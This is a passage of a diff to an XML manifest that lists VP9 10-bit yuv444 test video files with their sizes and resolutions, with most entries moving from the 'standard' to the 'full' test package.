-    <value>mime=video/x-vnd.on2.vp9,size=168668,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168668,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp6_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168791,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168791,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp7_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_skip5frm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=140602,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=140602,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_upScale_100_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_upScale_10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_upScale_20_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_upScale_50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_vbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=367385,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=367385,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368169,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368169,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=367601,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=367601,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368169,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368169,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_2x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=367998,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=367998,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368169,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368169,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_4x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_adaptQCom_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=321991,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=321991,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_adaptQVar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=331131,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=331131,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_0f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=370351,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=370351,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_0f_5s_1t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369378,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369378,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_0f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368901,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368901,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_15f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369413,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369413,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_15f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369628,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369628,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_5f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369378,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369378,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_5f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369378,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369378,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_5f_5s_3t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369378,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369378,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_autAltRef_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_autAltRef_8lag_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=350623,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=350623,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=378595,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=378595,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq16_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq32_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=268709,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=268709,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_downScale_10_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_downScale_20_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_downScale_50_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_downScale_80_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_errRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=386123,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=386123,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_keyFrmOnly_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1483967,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -36858,10 +36858,10 @@
     <value>mime=video/x-vnd.on2.vp9,size=147149591,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_noKeyFrm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_nonErrRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp0-10_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=23656456,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -36870,7 +36870,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=147149591,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp0-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp10-20_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=6455735,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -36885,154 +36885,154 @@
     <value>mime=video/x-vnd.on2.vp9,size=2404444,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp40-50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=719244,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=719244,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp50-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=329981,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=329981,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=92365,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=92365,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp1_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369108,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369108,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp2_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369604,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369604,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp3_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369130,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369130,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369290,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369290,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp5_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368777,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368777,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp6_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369438,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369438,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp7_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369804,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369804,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_skip5frm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=309361,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=309361,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_upScale_100_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_upScale_10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_upScale_20_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_upScale_50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_vbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368641,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368327,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368327,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368156,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368156,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368537,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368537,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368156,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368156,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_2x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368936,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368936,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368156,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368156,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_4x4.webm">
